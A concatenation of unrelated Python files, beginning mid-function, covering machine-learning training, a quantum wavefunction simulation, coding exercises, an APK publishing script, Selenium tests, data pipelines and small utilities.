                # -if needed (e.g., "class" or "task" scenario), remove predictions for classes not in replayed task
                y_hat = y_hat_all if (active_classes is None) else y_hat_all[:, active_classes[replay_id]]

                # Calculate losses
                if (y_ is not None) and (y_[replay_id] is not None):
                    predL_r[replay_id] = F.cross_entropy(y_hat, y_[replay_id], reduction='none')
                    predL_r[replay_id] = lf.weighted_average(predL_r[replay_id], dim=0)
                    #-> average over batch
                if (scores_ is not None) and (scores_[replay_id] is not None):
                    # n_classes_to_consider = scores.size(1) #--> with this version, no zeroes are added to [scores]!
                    n_classes_to_consider = y_hat.size(1)    #--> zeros will be added to [scores] to make it this size!
                    distilL_r[replay_id] = lf.loss_fn_kd(
                        scores=y_hat[:, :n_classes_to_consider], target_scores=scores_[replay_id], T=self.KD_temp,
                    )  # --> summing over classes & averaging over batch within this function
                # Weigh losses
                if self.replay_targets=="hard":
                    loss_replay[replay_id] = predL_r[replay_id]
                elif self.replay_targets=="soft":
                    loss_replay[replay_id] = distilL_r[replay_id]

                # If task-specific mask, backward pass needs to be performed before next task-mask is applied
                if self.mask_dict is not None:
                    weighted_replay_loss_this_task = (1-rnt) * loss_replay[replay_id] / n_replays
                    weighted_replay_loss_this_task.backward()

        # Calculate total loss
        loss_replay = None if (x_ is None) else sum(loss_replay)/n_replays
        loss_total = loss_replay if (x is None) else (loss_cur if x_ is None else rnt*loss_cur+(1-rnt)*loss_replay)

        ##--(3)-- ALLOCATION LOSSES --##

        # Add SI-loss (Zenke et al., 2017)
        surrogate_loss = self.surrogate_loss()
        if self.si_c>0:
            loss_total += self.si_c * surrogate_loss

        # Add EWC-loss
        ewc_loss = self.ewc_loss()
        if self.ewc_lambda>0:
            loss_total += self.ewc_lambda * ewc_loss

        # Backpropagate errors (if not yet done)
        if (self.mask_dict is None) or (x_ is None):
            loss_total.backward()
        # Take optimization-step
        self.optimizer.step()

        # Return the dictionary with different training-loss split in categories
        return {
            'loss_total': loss_total.item(),
            'loss_current': loss_cur.item() if x is not None else 0,
            'loss_replay': loss_replay.item() if (loss_replay is not None) and (x is not None) else 0,
            'pred': predL.item() if predL is not None else 0,
            'pred_r': sum(predL_r).item()/n_replays if (x_ is not None and predL_r[0] is not None) else 0,
            'distil_r': sum(distilL_r).item()/n_replays if (x_ is not None and distilL_r[0] is not None) else 0,
            'ewc': ewc_loss.item(), 'si_loss': surrogate_loss.item(),
            'accuracy': accuracy if accuracy is not None else 0.,
        }


import gaussxw
import numpy as np
import matplotlib.pyplot as plt
import math

def basis(x, n, L):
#Basis function |bn>
    return math.sqrt(2/L) * np.sin((n+1)*x*np.pi/L)
def d2basis(x, n, L):
#Second derivative of basis function
    return -(n+1)*(n+1)*np.pi*np.pi/(L*L)*math.sqrt(2/L) \
                * np.sin((n+1)*x*np.pi/L)

def Vho(x, L, w):
#Harmonic Oscillator potential.
    return 0.5 * w * w * (x-0.5*L) * (x-0.5*L)

def Vfsw(x, L, width, V0):
#Finite square well potential. x can be array or scalar
    a = 0.5*(L-width)
    b = 0.5*(L+width)
    try:
        v = np.zeros(x.shape)
        v[(x>a) * (x<b)] = V0
    except AttributeError:
        if x > a and x < b:
            v = V0
        else:
            v = 0.0

    return v

def Vcol(x, L, width, V0):
#Coloumb barrier potential. x can be array or scalar

    try:
        v = np.zeros(x.shape)
        v = 1.0/x
        v[x<width] = V0
    except AttributeError:
        if x < width:
            v = N0
        else:
            v = 1.0/x
    return v

def matrix_element(N, Nx, L, V, *args):
#Calculates matrix representation of the Hamiltonian:
# H[i,j] = <bi|H|bj>

    H = np.empty((N,N), dtype=np.complex)

    x, weight = gaussxw.gaussxwab(Nx, 0.0, L)

    b = np.empty((N,len(x)), dtype=np.complex)
    d2b = np.empty((N,len(x)), dtype=np.complex)
    for i in range(N):
        b[i,:] = basis(x, i, L)
        d2b[i,:] = d2basis(x, i, L)

    Hb = -0.5*d2b[:,:] + V(x,L,*args)[None,:]*b[:,:]
    for i in range(N):
        H[i,:] = (weight[None,:] * np.conj(b[i])[None,:] * Hb[:,:]
                        ).sum(axis=1)

    return H

def ortho_test(N, Nx, L, *args):
# Calculate <bi|bj>. should be Identity if |bi> orthonormal

    bbmn = np.empty((N,N), np.complex)

    x, weight = gaussxw.gaussxwab(Nx, 0.0, L)

    b = np.empty((N,Nx),np.complex)
    for i in range(N):
        b[i,:] = basis(x,i,L)

    for i in range(N):
        bbmn[i,:] = (weight[None,:] * np.conj(b[i])[None,:]
                        * b[:,:]).sum(axis=1)

    return bbmn

def evolve_bad(N, Nx, NT, t, L, psi0, V, *args):
# Evolves the wave function psi0 in the potential V using a truncated
# Taylor series.  Bad Idea!
#
# psi0: a function that takes a single array argument psi0(x)
# V: a function that takes at least two arguments, the first an array
#        V(x,L,*args)

    x, weight = gaussxw.gaussxwab(Nx, 0.0, L)

    c = np.empty(N, dtype=np.complex)
    for i in range(N):
        c[i] = (weight * np.conj(basis(x,i,L)) * psi0(x)).sum()

    Hmn = matrix_element(N, Nx, L, V, *args)

    Hc = c.copy()
    for i in range(1,NT):
        Hc = -1.0j * np.dot(Hmn, Hc) * t / i
        c += Hc

    psi = np.zeros(Nx, dtype=np.complex)
    for i in range(N):
        psi[:] += c[i] * basis(x, i, L)

    return x, psi, c

def evolve_good(N, Nx, t, L, psi0, V, *args):
# Evolves the wave function psi0 in the potential V using exact time-evolution
# operator calculated by diagonalizing H.  Good Idea!
#
# psi0: a function that takes a single array argument psi0(x)
# V: a function that takes at least two arguments, the first an array
#        V(x,L,*args)

    print("Calculating c0")
    x, weight = gaussxw.gaussxwab(Nx, 0.0, L)

    b = np.empty((N,Nx), dtype=np.complex)
    for i in range(N):
        b[i,:] = basis(x,i,L)
    psi0x = psi0(x)

    c0 = (weight[None,:] * np.conj(b)[:,:] * psi0x[None,:]).sum(axis=1)

    print("Calculating H")
    Hmn = matrix_element(N, Nx, L, V, *args)
    print("Calculating E, B")
    En, B = np.linalg.eigh(Hmn)

    Hp = np.dot(B, np.dot(np.diag(En), B.T))

    B = B.astype(np.complex)
    En = En.astype(np.complex)
    psiL = []
    cL = []

    print(B.dtype)

    T = np.atleast_1d(t)

    for tt in T:
        print("Calculating ct: {0:f}".format(tt))

        D = np.exp(-1.0j*En*tt)

        ct = np.dot(B, D * np.dot(B.T, c0))

        psi = (ct[:,None] * b[:,:]).sum(axis=0)

        psiL.append(psi)
        cL.append(ct)

    return x, np.array(psiL), np.array(cL)

def gaussian_func(x0, sig, p):
# Returns a gaussian wavefunction that can be called with only a position
# argument x.

    def f(x):
        return math.pow(2*np.pi*sig*sig, -0.25)\
                * np.exp(1.0j*p*x - (x-x0)*(x-x0)/(4*sig*sig))
    return f

def test(N, Nx, L, V, *args):
# Runs tests on a potential V. Plots the matrix of basis state inner products
# (should be identity), the Hamiltonian matrix elements (should be hermitian),
# the eigenvalues of H, and the first few stationary states.

    print("calculating orthogonality")
    bb = ortho_test(N, Nx, L)

    print("calculating Hmn")
    Hmn = matrix_element(N, Nx, L, V, *args)
    print("calculating Eigenvalues")
    En, B = np.linalg.eigh(Hmn)
    ind = np.argsort(En)

    En = En[ind]
    B = B[:,ind]

    X = np.linspace(0, L, Nx)
    b = np.empty((N,Nx))
    for i in range(N):
        b[i,:] = basis(X, i, L)

    psi0 = (B[:,0,None] * b[:,:]).sum(axis=0)
    psi1 = (B[:,1,None] * b[:,:]).sum(axis=0)
    psi2 = (B[:,2,None] * b[:,:]).sum(axis=0)
    psi3 = (B[:,3,None] * b[:,:]).sum(axis=0)

    NN = np.arange(N)
    E_inf = (NN+1)*(NN+1) * np.pi*np.pi / (2.0*L*L)
    E_ho = (NN+0.5)*w

    if len(args) > 1:
        Efsw_exact = fswEn(args[0], args[1])

        print(Efsw_exact)
        print(En[:Efsw_exact.shape[0]])

    print("plotting")
    fig, ax = plt.subplots(2,2)
    mat = ax[0,0].matshow(np.real(bb))
    fig.colorbar(mat,ax=ax[0,0])

    mat = ax[0,1].matshow(np.real(Hmn))
    fig.colorbar(mat,ax=ax[0,1])

    ax[1,0].plot(NN, E_inf, 'b-')
    ax[1,0].plot(NN, E_ho, 'r-')
    ax[1,0].plot(NN, En, 'k+')

    ax[1,1].plot(X, np.real(psi0))
    ax[1,1].plot(X, np.real(psi1))
    ax[1,1].plot(X, np.real(psi2))
    ax[1,1].plot(X, np.real(psi3))

def testEvolveBad(N, Nx, NT, t, L, x0, p, sig, V, *args):

    psi0_func = gaussian_func(x0, sig, p)

    x, psi_arr, c_arr = evolve_bad(N, Nx, NT, t, L, psi0_func, V, *args)

    psi0_arr = psi0_func(x)

    psi0_2 = np.abs(psi0_arr) * np.abs(psi0_arr)
    psi_2 = np.abs(psi_arr) * np.abs(psi_arr)

    fig, ax = plt.subplots()
    ax.plot(x, psi0_2, 'k+')
    ax.plot(x, psi_2, 'b+')

def testEvolveGood(N, Nx, t, L, x0, p, sig, V, *args):

    psi0_func = gaussian_func(x0, sig, p)

    x, psi_arr, c_arr = evolve_good(N, Nx, t, L, psi0_func, V, *args)

    psi0_arr = psi0_func(x)

    psi0_2 = np.abs(psi0_arr) * np.abs(psi0_arr)

    fig, ax = plt.subplots()
    ax.plot(x, psi0_2, 'k+')
    T = np.atleast_1d(t)
    for i in range(len(T)):
        psi_2 = np.abs(psi_arr[i]) * np.abs(psi_arr[i])
        ax.plot(x, psi_2)

def testTunnel(N, Nx, t, L, x0, p, sig, width, depth):

    psi0_func = gaussian_func(x0, sig, p)

    x, psi_arr, c_arr = evolve_good(N, Nx, t, L, psi0_func, Vcol, width, depth)

    psi0_arr = psi0_func(x)

    psi0_2 = np.abs(psi0_arr) ** 2

    T = np.atleast_1d(t)

    x,weight = gaussxw.gaussxwab(Nx,0.0,width)
    b = np.empty((N,Nx),np.complex)
    for i in range(N):
        b[i,:] = basis(x,i,L)

    P = np.empty(T.shape,np.float)
    for i,tt in enumerate(t):
        psi = (c_arr[i,:,None]*b[:,:]).sum(axis=0)
        psiR = np.real(psi)
        psiI = np.imag(psi)
        psi2 = psiR*psiR + psiI*psiI
        P[i] = (weight * psi2).sum()

    fig, ax = plt.subplots()
    ax.plot(T, P, 'k+')

def fswEn(width, V0):

    z0 = width*math.sqrt(-0.5*V0)
    N = int(2*z0/np.pi) + 1
    print(N, z0)

    En = np.empty(N)
    tol = 1.0e-10

    def solve_even_z(i, z0):
        a = 0.5*i*np.pi
        b = 0.5*(i+1)*np.pi
        z = 0.5*(a+b)
        if z > z0:
            z = 0.5*(a + z0)
        dz = np.inf
        while abs(dz) > tol:
            f = math.tan(z) - math.sqrt(z0*z0/(z*z)-1.0)
            sz = 1.0/math.cos(z)
            df = sz*sz + z0*z0/(z*z*z * math.sqrt(z0*z0/(z*z)-1.0))
            dz = -f/df
            if f > 0:
                b = z
            if f < 0:
                a = z
            z += dz
            if z < a or z > b:
                z = 0.5*(a+b)
        return z

    def solve_odd_z(i, z0):
        a = 0.5*i*np.pi
        b = 0.5*(i+1)*np.pi
        z = 0.5*(a+b)
        if z > z0:
            z = 0.5*(z0 + 0.5*i*np.pi)
        dz = np.inf
        while abs(dz) > tol:
            f = -1.0/math.tan(z) - math.sqrt(z0*z0/(z*z)-1.0)
            cz = 1.0/math.sin(z)
            df = cz*cz + z0*z0/(z*z*z * math.sqrt(z0*z0/(z*z)-1.0))
            dz = -f/df
            if f > 0:
                b = z
            if f < 0:
                a = z
            z += dz
            if z < a or z > b:
                z = 0.5*(a+b)
        return z

    for i in range(N):
        if i%2 == 0:
            z = solve_even_z(i, z0)
            En[i] = 2*z*z/(width*width) + V0
        else:
            z = solve_odd_z(i, z0)
            En[i] = 2*z*z/(width*width) + V0

    return En

if __name__ == "__main__":

    N = 400
    L = 50.0
    Nx = 2000

    w = 1.0
    #test(N, Nx, L, Vho, w)

    width = 5.0
    V0 = -10.0
    test(N, Nx, L, Vfsw, width, V0)

    NT = 800
    t = np.array([0.0,0.25,0.5,0.75,1.0]) * 2*np.pi/w
    x0 = L/3.0
    p = 0.0
    sig = 1.0
    #testEvolveBad(N, Nx, NT, t, L, x0, p, sig, Vho, w)
    testEvolveGood(N, Nx, t, L, x0, p, sig, Vho, w)

    x0 = 15
    p = -0.5
    sig = 1.0
    T = np.linspace(0.0, 100.0, 101)
    width = 0.5
    depth = -1.0
    #print(T)
    #testEvolveGood(N, Nx, T, L, x0, p, sig, Vcol, width, depth)

    testTunnel(N, Nx, T, L, x0, p, sig, width, depth)

    plt.show()


'''
QUESTION SOURCED FROM CODE WARS

Make a program that filters a list of strings
and returns a list with only your friends name in it.
If a name has exactly 4 letters in it, you can be sure that it has to be a friend of yours!
Otherwise, you can be sure he's not...

EXAMPLE CASE
Input = ["Ryan", "Kieran", "Jason", "Yous"]
Output = ["Ryan", "Yous"]
'''

Names = ["Ryan","Kieran","Jason","Yours","Rafi","Qiqi","Joy","Marco","Kathy"]

#Create Function

def My_friend(names):
    my_friends = []
    for placeholder in Names:
        if len(placeholder) == 4:
            my_friends.append(placeholder)
    print(my_friends)

#Call the function
My_friend(Names)


import os
import httplib2
from apiclient.discovery import build
from oauth2client import client
from oauth2client.service_account import ServiceAccountCredentials

def publish(email, keyfile, package_name, track, track_status, apkfile):
    credentials = ServiceAccountCredentials.from_p12_keyfile(
        email,
        keyfile,
        scopes=['https://www.googleapis.com/auth/androidpublisher'])
    http = credentials.authorize(httplib2.Http())
    service = build('androidpublisher', 'v3', http=http)

    insert_request = service.edits().insert(body={}, packageName=package_name)
    insert_response = insert_request.execute()
    edit_id = insert_response['id']

    print(f'Edits.insert response. {insert_response}')

    upload_response = service.edits().apks().upload(
        editId=edit_id, packageName=package_name, media_body=apkfile).execute()
    version_code = upload_response['versionCode']

    print(f'Edits.apks.upload response. {upload_response}')

    update_response = service.edits().tracks().update(
        editId=edit_id,
        track=track,
        packageName=package_name,
        body={u'track': track, u'releases': [{u'versionCodes': [version_code], u'status': track_status}]}).execute()

    print(f'Edits.tracks.update response. {update_response}')

    commit_response = service.edits().commit(
        editId=edit_id, packageName=package_name).execute()

    print(f'Edits.commit response. {commit_response}')
    print(f'[GooglePlayConsole] versionCode={version_code} has been uploaded to {track} as {track_status}.')

if __name__ == '__main__':
    email        = 'sample@sample.iam.gserviceaccount.com'
    keyfile      = os.path.dirname(__file__) + '/key.p12'
    package_name = 'com.example'
    track        = 'alpha'
    track_status = 'draft'
    apkfile      = os.path.dirname(__file__) + '/sample.apk'
    publish(email, keyfile, package_name, track, track_status, apkfile)


import random
import conformal
import matplotlib.pyplot as plt

mu_sigma = ((350, 50), (650, 25))
prob = (0.25, 0.75)
eps = 0.05
random.seed(123455)

def gen():
    mu, sigma = random.choices(mu_sigma, prob)[0]
    return int(random.gauss(mu, sigma))

z = [gen() for i in range(75)]

def nxt():
    plt.close()
    x = gen()
    G = conformal.gamma("nn", z, eps)
    print(conformal.intervals(G), x, x in G)
    ax = conformal.plot(z, G, x)
    plt.show()
    #ax.get_figure().savefig("img/plot.svg")
    z.append(x)

nxt()


import os

def start_process(path, args = None):
    if args == None:
        args = [path]
    else:
        args = [path, args]

    child = os.fork()

    if not child:
        os.execvp(path, args)
        os._exit(1)

    return child


from .pages.login_page import LoginPage
from .pages.product_page import ProductPage
from .pages.basket_page import BasketPage
from .pages.locators import ProductPageLocators, LoginPageLocators

import pytest

@pytest.mark.need_review
@pytest.mark.long
@pytest.mark.parametrize('promo_offer', [pytest.param(i, marks=pytest.mark.xfail(i==7, reason='Temporary bug')) for i in range(1)])
def test_guest_can_add_product_to_basket(browser, promo_offer):
    link = f"{ProductPageLocators.PRODUCT_PAGE_URL}/?promo=offer{promo_offer}"
    page = ProductPage(browser, link)
    page.open()
    page.should_be_add_to_basket_btn()
    page.add_product_to_basket()
    page.solve_quiz_and_get_code()
    page.should_be_success_messages()

@pytest.mark.xfail(reason="Should fail")
def test_guest_cant_see_success_message_after_adding_to_basket(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.add_product_to_basket()
    page.should_not_be_success_message()

def test_guest_cant_see_success_message(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.should_not_be_success_message()

@pytest.mark.xfail(reason='Should fail')
def test_success_message_disappeared_after_adding_to_basket(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.add_product_to_basket()
    page.should_disappear_of_success_message()

def test_guest_should_see_login_link_on_product_page(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.should_be_login_link()

@pytest.mark.need_review
def test_guest_can_go_to_login_page_from_product_page(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.go_to_login_page()

@pytest.mark.need_review
@pytest.mark.basket
def test_guest_cant_see_product_in_basket_opened_from_product_page(browser):
    link = ProductPageLocators.PRODUCT_PAGE_URL
    page = ProductPage(browser, link, 1)
    page.open()
    page.go_to_basket_page()

    basket_page = BasketPage(browser, link, 1)
    basket_page.should_be_empty_basket()
    basket_page.should_be_empty_basket_message()

class TestUserAddToBasketFromProductPage():

    @pytest.fixture(scope='function', autouse=True)
    def setup(self, browser):
        link = LoginPageLocators.LOGIN_PAGE_URL
        page = LoginPage(browser, link, 1)
        page.open()
        page.register_new_user(page.get_fake_email(), page.get_fake_password())
        page.should_be_authorized_user()

    def test_user_cant_see_success_message(self, browser):
        link = ProductPageLocators.PRODUCT_PAGE_URL
        page = ProductPage(browser, link, 1)
        page.open()
        page.should_not_be_success_message()

    @pytest.mark.need_review
    def test_user_can_add_product_to_basket(self, browser):
        link = ProductPageLocators.PRODUCT_PAGE_URL
        page = ProductPage(browser, link, 1)
        page.open()
        page.should_be_add_to_basket_btn()
        page.add_product_to_basket()
        page.should_be_success_messages()


def move_to_side2_1(side1, side2, signs, variable = None):
    if variable is None:
        variable = 'x'

    index_counter = -1
    for array in side1:
        index_counter += 1
        if variable not in array and array.__class__ == list:
            if index_counter > 0:
                sign = side1[index_counter - 1]
                side1 = side1[:index_counter - 1] + side1[index_counter + 1:]
            else:
                sign = '+'
                side1 = side1[index_counter + 1:]

            side2 = side2 + [signs[sign]] + [array]

            index_counter -= 2
    index_counter = -1
    for array in side2:
        index_counter += 1
        if variable in array and array.__class__ == list:
            if index_counter > 0:
                sign = side2[index_counter - 1]
                side2 = side2[:index_counter - 1] + side1[index_counter + 1:]
            else:
                sign = '+'
                side2 = side2[index_counter + 1:]

            side1 = side1 + [signs[sign]] + [array]
            index_counter -= 2
    return side1, side2

def get_factors(side1):
    from functions.my_functions import divider_into_multiplier
    index_counter2 = -1
    all_factors = []
    for array1 in side1:
        index_counter2 += 1
        if len(array1) != 1:
            index_counter3 = -1
            for n in array1:
                index_counter3 += 1
                if n == 'x':
                    if index_counter3 + 1 != len(array1):
                        factors = array1[:index_counter3] + array1[index_counter3 + 1:]
                    else:
                        factors = array1[:index_counter3]
                    factors = divider_into_multiplier(factors)
                    if index_counter2 == 0:
                        all_factors.append(factors[:-1])
                    else:
                        sign = side1[index_counter2 - 1]
                        all_factors.append(sign)
                        all_factors.append(factors[:-1])
    return all_factors


# Filename: display_demo.py

import pygame
from pygame.locals import *

pygame.init() # initialize Pygame modules

# open a window
win = pygame.display.set_mode((1024, 768), DOUBLEBUF|HWSURFACE|FULLSCREEN)

# create an empty list to save the monitor refresh intervals
intv = []

# flip the video buffer to make sure the first timestamp corresponds to a retrace
pygame.display.flip()

# get the timestamp of the 'previous' screen retrace
t_before_flip = pygame.time.get_ticks()

# use a for-loop to flip the video buffer for 100 times
for i in range(100):
    # constantly switching the window color between black and white
    if i%2 == 0:
        win.fill((255, 255, 255))
    else:
        win.fill((0,0,0))
    pygame.display.flip() # flip the video buffer

    # get the timestamp of the 'current' screen retrace
    t_after_flip = pygame.time.get_ticks()
    flip_intv = t_after_flip - t_before_flip # get the refresh interval
    intv.append(flip_intv) # save the current refresh interval to a list
    t_before_flip = t_after_flip # reset the timestamp of the 'previous' retrace

# print out the max, min and average refresh intervals
print('Max: {}, Min: {}, Mean: {}'.format(max(intv),
                                          min(intv),
                                          sum(intv)*1.0/len(intv)))
# quit pygame
pygame.quit()


PORT_NAME_LINUX = "/dev/ttyUSB0"
PORT_NAME_WINDOWS = "COM3"
PORT_NAME_OSX = "dev/cu.usbmodem1"
DRONE_LOCAL = False
ARM_RETRY_COUNT = 2
DRONE_GPS_FIXER = 1
DRONE_HEARTBEAT = 10
AUTO_ON = True
FAILSAFE_ON = False
DEFAULT_ALT = 2
FAIL_COUNTERS = 15
ARM_FAIL_NUMBER = 10
DO_PRE_ARM = False
PRE_ARM_WAIT = 20
AUTO_GUIDED = True
RC_WAIT_TIMEOUT = 30
BATTERY_CELL_COUNT = 4
SET_AIRSPEED = 4


from math import sqrt

class Solution:
    def climbStairs(self, n: int) -> int:
        r5 = sqrt(5)
        return round(((r5 + 1) / (2*r5)) * ((1 + r5) / 2)**n + \
                     ((r5 - 1) / (2*r5)) * ((1 - r5) / 2)**n)

solution = Solution()
print(solution.climbStairs(2))


import traceback
from io import StringIO

import yaml
from docutils.core import publish_string
from js import document

from myst_parser import __version__
from myst_parser.parsers.docutils_ import Parser

def convert(input_config: str, input_myst: str, writer_name: str) -> dict:
    warning_stream = StringIO()
    try:
        settings = yaml.safe_load(input_config) if input_config else {}
        assert isinstance(settings, dict), "not a dictionary"
    except Exception as exc:
        warning_stream.write(f"ERROR: config load: {exc}\n")
        settings = {}
    settings.update(
        {
            "output_encoding": "unicode",
            "warning_stream": warning_stream,
        }
    )
    try:
        output = publish_string(
            input_myst,
            parser=Parser(),
            writer_name=writer_name,
            settings_overrides=settings,
        )
    except Exception as exc:
        output = f"ERROR: conversion:\n{exc}\n{traceback.format_exc()}"
    return {"output": output, "warnings": warning_stream.getvalue()}

version_label = document.querySelector("span#myst-version")
config_textarea = document.querySelector("textarea#input_config")
input_textarea = document.querySelector("textarea#input_myst")
output_iframe = document.querySelector("iframe#output_html")
output_raw = document.querySelector("textarea#output_raw")
warnings_textarea = document.querySelector("textarea#output_warnings")
oformat_select = document.querySelector("select#output_format")

def do_convert(event=None):
    result = convert(config_textarea.value, input_textarea.value, oformat_select.value)
    output_raw.value = result["output"]
    if "html" in oformat_select.value:
        output_iframe.contentDocument.body.innerHTML = result["output"]
    else:
        output_iframe.contentDocument.body.innerHTML = (
            "Change output format to HTML to see output"
        )
    warnings_textarea.value = result["warnings"]

version_label.textContent = f"myst-parser v{__version__}"
config_textarea.oninput = do_convert
input_textarea.oninput = do_convert
oformat_select.onchange = do_convert

do_convert()


preco = float(input("Preco unitario do produto: "))
quantidade = int(input("Quantidade comprada: "))

total = preco * quantidade
print(f"TOTAL = {total:.2f}")

dinheiro = float(input("Dinheiro recebido: "))

troco = dinheiro - total

print(f"TROCO = {troco:.2f}")


from awsglue.dynamicframe import DynamicFrame
from pyspark.sql import DataFrame
from pyspark.sql.functions import from_unixtime, to_timestamp

import tasks

def change_schema(dyf: DynamicFrame) -> DynamicFrame:
    """
    Changes the schema of the DynamicFrame by resolving choice for temp, wind_speed, rain, and snow to double.

    Args:
        dyf: The DynamicFrame whose schema is to be changed.

    Returns:
        The DynamicFrame with the updated schema.
    """
    resolve_choice_specs = [
        ("temp", "cast:double"),
        ("wind_speed", "cast:double"),
        ("rain", "cast:double"),
        ("snow", "cast:double"),
    ]
    return dyf.resolveChoice(specs=resolve_choice_specs)

def sort_by_timestamp(df: DataFrame) -> DataFrame:
    """
    Sorts the DataFrame by the timestamp column.

    Args:
        df: The DataFrame to be sorted.

    Returns:
        A DataFrame sorted by the timestamp column.
    """
    df.createOrReplaceTempView("df")
    result_df = tasks.get_spark().sql("""
        SELECT *
        FROM df
        ORDER BY timestamp
        """)
    return result_df

def deduplicate_by_timestamp(df: DataFrame) -> DataFrame:
    """
    Removes duplicate rows from the DataFrame based on the timestamp column.

    Args:
        df: The DataFrame from which duplicates are to be removed.

    Returns:
        A DataFrame without any duplicate rows based on the timestamp column.
    """
    return df.dropDuplicates(["timestamp"])

def transform_unixtime_to_datetime(df: DataFrame) -> DataFrame:
    """
    Transforms the unix timestamp in the DataFrame to a datetime format.

    Args:
        df: The DataFrame whose unix timestamp is to be transformed.

    Returns:
        A DataFrame with the unix timestamp transformed to a datetime format.
    """
    df = df.withColumn("timestamp", from_unixtime("timestamp"))
    return df.withColumn("timestamp", to_timestamp("timestamp"))

def create_and_stage_weather_data(input_path: str, output_path: str, conn_type: str) -> DataFrame:
    """
    Creates and stages weather data by reading from an input path, transforming the data,
    and writing it to an output path. This path can either be a local path, S3 path or Redshift cluster

    Args:
        input_path: The path to read the input data from.
        output_path: The path to write the output data to.

    Returns:
        A DataFrame containing the staged weather data.
    """
    dyf = tasks.read_json_array(input_path, conn_type)
    dyf = change_schema(dyf)
    df: DataFrame = dyf.toDF()
    df = sort_by_timestamp(df=df)
    df = deduplicate_by_timestamp(df=df)
    df = transform_unixtime_to_datetime(df=df)
    tasks.write_parquet_glue(df, output_path, conn_type)


from django.conf.urls import include, url
from . import views
urlpatterns = [
    url(r'^index/$',views.index,name='index'),
    url(r'^detail/(\d*)$', views.detail, name='detail'),
    url(r'^editpage/$', views.editpage, name='editpage'),
    url(r'^editpagehandle/$', views.editpage_handle, name='editpagehandle'),
    url(r'^change/(\d+)$', views.change, name='change'),
    url(r'^changehandle/(\d+)$', views.changehandle, name='changehandle'),
    url(r'^del/(\d+)$', views.Del,name='del'),
    url(r'^signin$', views.signIn, name='sign'),
    url(r'^signinhandle$', views.signInHandle, name='signinhandle'),
    url(r'^rigister$', views.Register, name='register'),
    url(r'^rigisterhandle$', views.Register_handle, name='registerhandle'),

]


import os # change dir
import sys
Wdir= os.getcwd()
sys.path.append(Wdir+'\functions')# add to path

import numpy as np
import scipy.io as sio # load save matlab files
import scipy.signal as sg # signal pack
import matplotlib.pyplot as plt # plotting
from scipy.io import wavfile # read wav files
from matplotlib.gridspec import GridSpec # easy subplots
from functions.IAS_functions import f_est_linear,tTacho_fsig,tTacho_fsigLVA

# function load matfile
def loading_matfile(filed='none'):
    mat_contents = sio.loadmat(filed, mdict=None, appendmat=True)
    for k, v in mat_contents.items():
        try:
            if v.size==sum(v.shape)-1:
                globals()[k]=v.flatten()
            else:
                globals()[k]=v
        except:
            globals()[k]=v
    return globals()
plt.rc('font', size=14) # default text size
# %% ACC1
lfile = (Wdir+'\Surveillance8 Contest')
fs, tacho = wavfile.read(lfile+'\Tacho.wav')

t,f_0 = tTacho_fsigLVA(tacho,fs,TPT=44)
f_0 = f_0*62/61 # visual examining
dfac = 2**4 # decimate factor
fs2    = fs/dfac # new sampling frequency
f_0r = sg.decimate(f_0,dfac) # Referencing to L5
f_0r = f_0r[int(fs2/2):int(-fs2/2)]
t = np.r_[:len(f_0)]/fs2

lfile = ['D16_ias_baseline_accx','D16_ias_linear_approx_accx'\
         ,'D16_ias_baseline_acc2_nodown_dfacf0'\
         ,'D16_ias_linear_acc2_nodown_dfacf0'\
         ,'D16_ias_baseline_acc1_nodown_dfacf0'\
         ,'D16_ias_linear_acc1_nodown_dfacf0']# ACC1 y 2 downsampled

n = 0 # amount of orders used in the estimation 0 for all 1 for all-1
lfileK = len(lfile)
f_0mse = np.zeros([3,lfileK])# ACC0 ACC1 ACC2
for lfilek in np.r_[:lfileK]:
    loading_matfile('Dataz/'+lfile[lfilek]); # same parameters all tests
    Nw = int(Nw)
    H  = int(Nw/2)
    for Accx in np.r_[:3]:
        if f_alpha_est[-1,Accx,2*n]!=0:
            f_est = f_alpha_est[:,Accx,2*n]
            alpha_est = f_alpha_est[:,Accx,2*n+1]
            f_est_lin = f_est_linear(alpha_est,f_est,Nw,H)*fs
            if lfilek<2:
                f_02= f_0r[:f_est_lin.shape[0]]*183.135/181.438
                f_0mse[Accx,lfilek]=np.mean(np.abs(f_est_lin-f_02)**2)
            elif lfilek==2 or lfilek==3:
                f_est_lin = f_est_lin/31
                f_02= f_0[:f_est_lin.shape[0]]*5599.78/5691.86
                f_0mse[Accx,lfilek]=np.mean(np.abs(f_est_lin[int(fs2/2):int(-fs2/2)]-f_02[int(fs2/2):int(-fs2/2)])**2)
            elif lfilek>3:
                f_02= f_0[:f_est_lin.shape[0]]*183.114/183.543 # small adjustments usuall when dealing with real signals, the pearsons correlation index could be another metric
                f_0mse[Accx,lfilek]=np.mean(np.abs(f_est_lin[int(fs2/2):int(-fs2/2)]-f_02[int(fs2/2):int(-fs2/2)])**2)


import argparse

from mindspore import dataset as ds
from mindspore import context, nn
from mindspore.train.callback import ModelCheckpoint, CheckpointConfig
from mindspore.train import Model
from mindvision.engine.callback import LossMonitor

from src.dataset.data import Mydata
from src.model.ecg_cnn import ECGCNNNet

def main(args):
    """Main."""
    # Set environment
    mode = context.GRAPH_MODE if args.graph_mode else context.PYNATIVE_MODE
    context.set_context(mode=mode, device_target=args.device_target)
    # Generator dataset
    train_dataset_generator = Mydata(data_path=args.data_path, label_path=args.label_path, splits="train")
    train_dataset = ds.GeneratorDataset(train_dataset_generator, ["data", "label"], shuffle=True)
    dataset = train_dataset.batch(batch_size=args.batch_size, drop_remainder=True)
    # Get other components of the model
    ecg_net = ECGCNNNet()
    optimizer = nn.Momentum(params=ecg_net.trainable_params(),
                            momentum=args.momentum,
                            learning_rate=args.lr,
                            weight_decay=args.weight_decay)
    loss = nn.loss.SoftmaxCrossEntropyWithLogits()
    # 设置模型保存参数
    config_ck = CheckpointConfig(save_checkpoint_steps=args.save_checkpoint_steps,
                                 keep_checkpoint_max=args.keep_checkpoint_max)
    # 应用模型保存参数
    ckpoint = ModelCheckpoint(prefix="ecg_net", directory=args.checkpoint_dir, config=config_ck)
